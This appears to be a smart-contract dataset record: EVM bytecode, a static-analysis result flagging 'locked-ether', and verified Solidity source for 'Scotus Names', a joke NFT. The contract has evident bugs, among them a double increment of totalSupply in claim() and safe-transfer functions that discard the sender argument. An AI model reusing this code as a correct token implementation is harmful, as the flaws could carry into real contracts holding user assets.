e57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610efa9190612014565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b6000806000809150600090505b60038054905081101561107957600160008581526020019081526020016000206000600383815481101515610fd757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611058576001820191505b60045482141561106b576001925061107a565b5b8080600101915050610fa6565b5b5050919050565b600080600090505b600380549050811015611149576001600084815260200190815260200160002060006003838154811015156110ba57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561113b576001820191505b5b8080600101915050611089565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111b4612040565b600380548060200260200160405190810160405280929190818152602001828054801561123657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111ec575b505050505090505b90565b611249612054565b611251612054565b6000806005546040518059106112645750595b908082528060200260200182016040525b50925060009150600090505b600554811015611322578580156112b8575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112eb57508480156112ea575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611314578083838151811015156112ff57fe5b90602001906020020181815250506001820191505b5b8080600101915050611281565b8787036040518059106113325750595b908082528060200260200182016040525b5093508790505b8681101561139657828181518110151561136057fe5b906020019060200201518489830381518110151561137a57fe5b90602001906020020181815250505b808060010191505061134a565b5b505050949350505050565b6113aa612040565b6113b2612040565b6000806003805490506040518059106113c85750595b908082528060200260200182016040525b50925060009150600090505b60038054905081101561152b5760016000868152602001908152602001600020600060038381548110151561141657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561151d5760038181548110151561149f57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114da57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113e5565b816040518059106115395750595b908082528060200260200182016040525b509350600090505b818110156115ca57828181518110151561156857fe5b90602001906020020151848281518110151561158057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b8080600101915050611552565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161357600080fd5b600380549050816032821115801561162b5750818111155b8015611638575060008114155b8015611645575060008214155b151561165057600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116ef57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561174b57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156117b757600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361186c85611bc0565b5b5b50505b505b5050565b6000611884848484611e6c565b905061188f81611696565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118de57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561193757600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561199157600080fd5b600092505b600380549050831015611a7f578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119c957fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a715783600384815481101515611a2257fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a7f565b5b8280600101935050611996565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c1b57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c8657600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611cb657600080fd5b611cbf86610f99565b15611e6057600080878152602001908152602001600020945060018560030160006101000a81548160ff021916908315150217905550611ddd8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866001015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611dd35780601f10611da857610100808354040283529160200191611dd3565b820191906000526020600020905b815481529060010190602001808311611db657829003601f168201915b5050505050611fc0565b15611e1457857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e5f565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b5b5b505b50505b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611e9557600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f54929190612068565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b6000806040516020840160008287838a8c6187965a03f1925050508091505b50949350505050565b81548183558181151161200f5781836000526020600020918201910161200e91906120e8565b5b505050565b81548183558181151161203b5781836000526020600020918201910161203a91906120e8565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106120a957805160ff19168380011785556120d7565b828001600101855582156120d7579182015b828111156120d65782518255916020019190600101906120bb565b5b5090506120e491906120e8565b5090565b61210a91905b808211156121065760008160009055506001016120ee565b5090565b905600a165627a7a72305820b9c818c6292e4d0d4ff7f94b8dbb382a9c6958416c4016141b697a8a179e86450029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,011 |
0x358350599f5b21692db2470227c52f578bcd3660
|
/**
*Submitted for verification at Etherscan.io on 2021-09-13
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Modern and gas efficient ERC-721-like NFT + ERC-20/EIP-2612-like implementation.
contract ERC721like {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed spender, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
/*///////////////////////////////////////////////////////////////
ERC-721 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
PERMIT/EIP-2612-LIKE STORAGE
//////////////////////////////////////////////////////////////*/
bytes32 public constant PERMIT_TYPEHASH =
keccak256("Permit(address spender,uint256 tokenId,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
constructor(
string memory _name,
string memory _symbol
) {
name = _name;
symbol = _symbol;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
ERC-20-LIKE LOGIC
//////////////////////////////////////////////////////////////*/
function transfer(address to, uint256 tokenId) external {
require(msg.sender == ownerOf[tokenId], "NOT_OWNER");
// This is safe because ownership is checked
// against decrement, and sum of all user
// balances can't exceed type(uint256).max!
unchecked {
balanceOf[msg.sender]--;
balanceOf[to]++;
}
delete getApproved[tokenId];
ownerOf[tokenId] = to;
emit Transfer(msg.sender, to, tokenId);
}
/*///////////////////////////////////////////////////////////////
ERC-721 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) external pure returns (bool supported) {
supported = interfaceId == 0x80ac58cd || interfaceId == 0x5b5e139f;
}
function approve(address spender, uint256 tokenId) external {
address owner = ownerOf[tokenId];
require(msg.sender == owner || isApprovedForAll[owner][msg.sender], "NOT_APPROVED");
getApproved[tokenId] = spender;
emit Approval(owner, spender, tokenId);
}
function setApprovalForAll(address operator, bool approved) external {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function transferFrom(address, address to, uint256 tokenId) public {
address owner = ownerOf[tokenId];
require(
msg.sender == owner
|| msg.sender == getApproved[tokenId]
|| isApprovedForAll[owner][msg.sender],
"NOT_APPROVED"
);
// This is safe because ownership is checked
// against decrement, and sum of all user
// balances can't exceed type(uint256).max!
unchecked {
balanceOf[owner]--;
balanceOf[to]++;
}
delete getApproved[tokenId];
ownerOf[tokenId] = to;
emit Transfer(owner, to, tokenId);
}
function safetransferFrom(address, address to, uint256 tokenId) external {
safetransferFrom(address(0), to, tokenId, "");
}
function safetransferFrom(address, address to, uint256 tokenId, bytes memory data) public {
transferFrom(address(0), to, tokenId);
if (to.code.length != 0) {
// selector = `onERC721Received(address,address,uint,bytes)`
(, bytes memory returned) = to.staticcall(abi.encodeWithSelector(0x150b7a02,
msg.sender, address(0), tokenId, data));
bytes4 selector = abi.decode(returned, (bytes4));
require(selector == 0x150b7a02, "NOT_ERC721_RECEIVER");
}
}
/*///////////////////////////////////////////////////////////////
PERMIT/EIP-2612-LIKE LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address spender,
uint256 tokenId,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
address owner = ownerOf[tokenId];
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, spender, tokenId, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0)
&& recoveredAddress == owner
|| isApprovedForAll[owner][recoveredAddress],
"INVALID_PERMIT_SIGNATURE"
);
getApproved[tokenId] = spender;
emit Approval(owner, spender, tokenId);
}
/*///////////////////////////////////////////////////////////////
INTERNAL UTILS
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 tokenId) internal {
totalSupply++;
// This is safe because the sum of all user
// balances can't exceed type(uint256).max!
unchecked {
balanceOf[to]++;
}
ownerOf[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
}
/**
* @title Scotus Names
* @dev {ERC721} token built on Solmate (licensed under AGPL-3), Loot & Stage Names (licensed under MIT), including:
* - open, free token minting (creation)
* - URI autogeneration from svg
* - general legal engineering dopeness
*/
contract ScotusNames is
ERC721like("Scotus Names (For Rappers)", "SCOTUS")
{
string[] moji = [
unicode"😀",
unicode"🤣",
unicode"😇",
unicode"😜",
unicode"🤪",
unicode"🤭",
unicode"🤐",
unicode"😬",
unicode"😏",
unicode"😌",
unicode"😷",
unicode"🤒",
unicode"🤯",
unicode"🤠",
unicode"🥳",
unicode"😎",
unicode"🤓",
unicode"🧐",
unicode"😲",
unicode"🥱",
unicode"😈",
unicode"😶",
unicode"🤨",
unicode"🤔",
unicode"🤧"
];
string[] firstName = [
"Bittah",
"Tha",
"Mad",
"Master",
"Dynamic",
"E-ratic",
"Wack",
"Fearless",
"Misunderstood",
"Quiet",
"Pesky",
"Gentlemen",
"Profound",
"Respected",
"Auteur",
"Shriekin'",
"Lucky",
"Phantom",
"Smilin'",
"Thunderous",
"Tuff",
"Scratchin'",
"Dope",
"X-cessive",
"X-pert",
"Zexy",
"Ruff",
"Intellectual",
"Unlucky",
"Vizual",
"Frenly",
"Midnight",
"Mighty",
"Based",
"Vamped",
"Fiery",
"Stoked",
"Wholesome",
"B-loved",
"Sarkastik",
"Glowing",
"Irate",
"Wicked",
"Surly",
"Amazing"
];
string[] lastName = [
"Roberts",
"Thomas",
"Breyer",
"Alito",
"Sotomayor",
"Kagan",
"Gorsuch",
"Kavanaugh",
"Barrett"
];
string[] superPower = [
"with power of Estoppel",
"with power of Subpoena",
"with power of Affidavit",
"with power of Laches",
"with power of Amendment",
"with power of Livery of Seisin",
"with power of Appeal",
"with power of Jurisdiction",
"with power of Discretion",
"with power of Immunity",
"with power of Abjudication",
"with power of Abjuration",
"with power of Damages",
"with power of Preclusion",
"with power of Res Judicata",
"with power of Ejusdem Generis",
"with power of Bird Law",
"with power of Finding of Fact",
"with power of Quasi in Rem",
"with power of Quantum Meruit"
];
string[] robeColor = [
"in White Robes",
"in White Robes",
"in Black Robes",
"in Black Robes",
"in Purple Robes",
"in Purple Robes",
"in Red Robes",
"in Red Robes",
"in Pink Robes",
"in Yellow Robes"
];
function random(string memory input) private pure returns (uint256 rand) {
rand = uint256(keccak256(abi.encodePacked(input)));
}
function getMoji(uint256 tokenId) public view returns (string memory moj) {
moj = pluck(tokenId, "MOJI", moji);
}
function getFirstName(uint256 tokenId) public view returns (string memory first) {
first = pluck(tokenId, "FIRST", firstName);
}
function getLastName(uint256 tokenId) public view returns (string memory last) {
last = pluck(tokenId, "LAST", lastName);
}
function getSuperPower(uint256 tokenId) public view returns (string memory power) {
power = pluck(tokenId, "POWER", superPower);
}
function getRobeColor(uint256 tokenId) public view returns (string memory color) {
color = pluck(tokenId, "COLOR", robeColor);
}
function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) private pure returns (string memory output) {
uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId))));
output = sourceArray[rand % sourceArray.length];
}
function tokenURI(uint256 tokenId) external view returns (string memory output) {
string[11] memory parts;
parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: yellow; font-family: lobster; font-size: 24px; }</style><rect width="100%" height="100%" fill="orchid" /><text x="300" y="90" class="base">';
parts[1] = getMoji(tokenId);
parts[2] = '</text><text x="10" y="180" class="base">';
parts[3] = getFirstName(tokenId);
parts[4] = '</text><text x="10" y="210" class="base">';
parts[5] = getLastName(tokenId);
parts[6] = '</text><text x="10" y="270" class="base">';
parts[7] = getSuperPower(tokenId);
parts[8] = '</text><text x="10" y="300" class="base">';
parts[9] = getRobeColor(tokenId);
parts[10] = '</text></svg>';
output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8]));
output = string(abi.encodePacked(output, parts[9], parts[10]));
string memory json =
Base64.encode(bytes(string(abi.encodePacked(
'{"name": "SCOTUS #', toString(tokenId), '", "description": "Scotus Names are random onchain SCOTUS names based on Stage Names/Loot.", "attributes": [{"trait_type": "First Name","value": "', getFirstName(tokenId), '"}, {"trait_type": "Last Name","value": "', getLastName(tokenId), '"}, {"trait_type": "Super Power","value": "', getSuperPower(tokenId), '"}, {"trait_type": "Robe Color","value": "', getRobeColor(tokenId), '"}], "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}'))));
output = string(abi.encodePacked('data:application/json;base64,', json));
}
function claim() external {
totalSupply++;
uint256 tokenId = totalSupply;
require(tokenId < 421, "MAXED");
_mint(msg.sender, tokenId);
}
function toString(uint256 value) private pure returns (string memory output) {
// @dev Inspired by OraclizeAPI's implementation - MIT license -
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol.
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
|
0x608060405234801561001057600080fd5b50600436106101a35760003560e01c80635ec7b353116100ee57806395d89b4111610097578063c87b56dd11610071578063c87b56dd146103eb578063c9181325146103fe578063e985e9c514610411578063f58b56a91461043f57600080fd5b806395d89b41146103bd578063a22cb465146103c5578063a9059cbb146103d857600080fd5b80637ac2ff7b116100c85780637ac2ff7b146103775780637ecebe001461038a57806390a07734146103aa57600080fd5b80635ec7b3531461030e5780636352211e1461032157806370a082311461035757600080fd5b806318160ddd1161015057806330adf81f1161012a57806330adf81f146102b85780633644e515146102df5780634e71d92d1461030657600080fd5b806318160ddd1461027b57806323b872dd1461029257806323dd488d146102a557600080fd5b8063095ea7b311610181578063095ea7b314610240578063172a56c114610255578063174029f61461026857600080fd5b806301ffc9a7146101a857806306fdde03146101d0578063081812fc146101e5575b600080fd5b6101bb6101b6366004611f68565b610452565b60405190151581526020015b60405180910390f35b6101d86104eb565b6040516101c791906124b3565b61021b6101f3366004611fa2565b60056020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101c7565b61025361024e366004611ede565b610579565b005b6101d8610263366004611fa2565b6106c8565b6101d8610276366004611fa2565b6107db565b61028460025481565b6040519081526020016101c7565b6102536102a0366004611d6c565b6108e5565b6101d86102b3366004611fa2565b610aaf565b6102847f49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad81565b6102847f8259285f8bc909d77c7615d4ce8f075ce028aa5fb44403d2c37c880399b4055881565b610253610bb9565b61025361031c366004611d6c565b610c49565b61021b61032f366004611fa2565b60046020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b610284610365366004611d17565b60036020526000908152604090205481565b610253610385366004611f08565b610c6a565b610284610398366004611d17565b60076020526000908152604090205481565b6101d86103b8366004611fa2565b611027565b6101d8611131565b6102536103d3366004611ea2565b61113e565b6102536103e6366004611ede565b6111d5565b6101d86103f9366004611fa2565b61132f565b61025361040c366004611da8565b611590565b6101bb61041f366004611d39565b600660209081526000928352604080842090915290825290205460ff1681565b6101d861044d366004611fa2565b61174d565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007fffffffff00000000000000000000000000000000000000000000000000000000831614806104e557507f5b5e139f000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b600080546104f890612572565b80601f016020809104026020016040519081016040528092919081815260200182805461052490612572565b80156105715780601f1061054657610100808354040283529160200191610571565b820191906000526020600020905b81548152906001019060200180831161055457829003601f168201915b505050505081565b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff16338114806105dc575073ffffffffffffffffffffffffffffffffffffffff8116600090815260066020908152604080832033845290915290205460ff165b610647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4e4f545f415050524f564544000000000000000000000000000000000000000060448201526064015b60405180910390fd5b60008281526005602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff87811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60606104e5826040518060400160405280600581526020017f46495253540000000000000000000000000000000000000000000000000000008152506009805480602002602001604051908101604052809291908181526020016000905b828210156107d257838290600052602060002001805461074590612572565b80601f016020809104026020016040519081016040528092919081815260200182805461077190612572565b80156107be5780601f10610793576101008083540402835291602001916107be565b820191906000526020600020905b8154815290600101906020018083116107a157829003601f168201915b505050505081526020019060010190610726565b50505050611857565b60606104e5826040518060400160405280600481526020017f4c41535400000000000000000000000000000000000000000000000000000000815250600a805480602002602001604051908101604052809291908181526020016000905b828210156107d257838290600052602060002001805461085890612572565b80601f016020809104026020016040519081016040528092919081815260200182805461088490612572565b80156108d15780601f106108a6576101008083540402835291602001916108d1565b820191906000526020600020905b8154815290600101906020018083116108b457829003601f168201915b505050505081526020019060010190610839565b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff163381148061093b575060008281526005602052604090205473ffffffffffffffffffffffffffffffffffffffff1633145b80610976575073ffffffffffffffffffffffffffffffffffffffff8116600090815260066020908152604080832033845290915290205460ff165b6109dc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4e4f545f415050524f5645440000000000000000000000000000000000000000604482015260640161063e565b73ffffffffffffffffffffffffffffffffffffffff808216600081815260036020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff019055938716808352848320805460010190558683526005825284832080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081169091556004909252848320805490921681179091559251859392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a450505050565b60606104e5826040518060400160405280600581526020017f504f574552000000000000000000000000000000000000000000000000000000815250600b805480602002602001604051908101604052809291908181526020016000905b828210156107d2578382906000526020600020018054610b2c90612572565b80601f0160208091040260200160405190810160405280929190818152602001828054610b5890612572565b8015610ba55780601f10610b7a57610100808354040283529160200191610ba5565b820191906000526020600020905b815481529060010190602001808311610b8857829003601f168201915b505050505081526020019060010190610b0d565b60028054906000610bc9836125c6565b90915550506002546101a58110610c3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600560248201527f4d41584544000000000000000000000000000000000000000000000000000000604482015260640161063e565b610c4633826118bf565b50565b610c656000838360405180602001604052806000815250611590565b505050565b42841015610cd4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f5045524d49545f444541444c494e455f45585049524544000000000000000000604482015260640161063e565b60008581526004602090815260408083205473ffffffffffffffffffffffffffffffffffffffff168084526007909252822080549192917f8259285f8bc909d77c7615d4ce8f075ce028aa5fb44403d2c37c880399b40558917f49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad918b918b919086610d5e836125c6565b9091555060408051602081019590955273ffffffffffffffffffffffffffffffffffffffff909316928401929092526060830152608082015260a0810188905260c00160405160208183030381529060405280519060200120604051602001610df99291907f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff89169284019290925260608301879052608083018690529092509060019060a0016020604051602081039080840390855afa158015610e82573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590610efd57508273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b80610f3a575073ffffffffffffffffffffffffffffffffffffffff80841660009081526006602090815260408083209385168352929052205460ff165b610fa0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f494e56414c49445f5045524d49545f5349474e41545552450000000000000000604482015260640161063e565b60008881526005602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8d811691821790925591518b93918716917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050505050505050565b60606104e5826040518060400160405280600481526020017f4d4f4a49000000000000000000000000000000000000000000000000000000008152506008805480602002602001604051908101604052809291908181526020016000905b828210156107d25783829060005260206000200180546110a490612572565b80601f01602080910402602001604051908101604052809291908181526020018280546110d090612572565b801561111d5780601f106110f25761010080835404028352916020019161111d565b820191906000526020600020905b81548152906001019060200180831161110057829003601f168201915b505050505081526020019060010190611085565b600180546104f890612572565b33600081815260066020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff163314611262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161063e565b33600081815260036020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01905573ffffffffffffffffffffffffffffffffffffffff8616808452818420805460010190558584526005835281842080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811690915560049093528184208054909316811790925551849391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a45050565b6060611339611cc6565b60405180610140016040528061010281526020016127506101029139815261136083611027565b81600160200201819052506040518060600160405280602981526020016128bb602991396040820152611392836106c8565b60608083019190915260408051918201905260298082526126fe602083013960808201526113bf836107db565b60a082015260408051606081019091526029808252612852602083013960c08201526113ea83610aaf565b60e08201526040805160608101909152602980825261272760208301396101008201526114168361174d565b61012082015260408051808201909152600d81527f3c2f746578743e3c2f7376673e00000000000000000000000000000000000000602082015281600a602090810291909101919091528151828201516040808501516060860151608087015160a088015160c089015160e08a01516101008b015196516114a39a969795969495939492939192016120af565b604080518083037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0018152908290526101208301516101408401519194506114f09285929060200161206c565b6040516020818303038152906040529150600061156561150f85611964565b611518866106c8565b611521876107db565b61152a88610aaf565b6115338961174d565b61153c89611a9e565b60405160200161155196959493929190612170565b604051602081830303815290604052611a9e565b9050806040516020016115789190612425565b60405160208183030381529060405292505050919050565b61159c600084846108e5565b73ffffffffffffffffffffffffffffffffffffffff83163b156117475760008373ffffffffffffffffffffffffffffffffffffffff1663150b7a0233600086866040516024016115ef949392919061246a565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161163d9190612021565b600060405180830381855afa9150503d8060008114611678576040519150601f19603f3d011682016040523d82523d6000602084013e61167d565b606091505b509150506000818060200190518101906116979190611f85565b90507f150b7a02000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000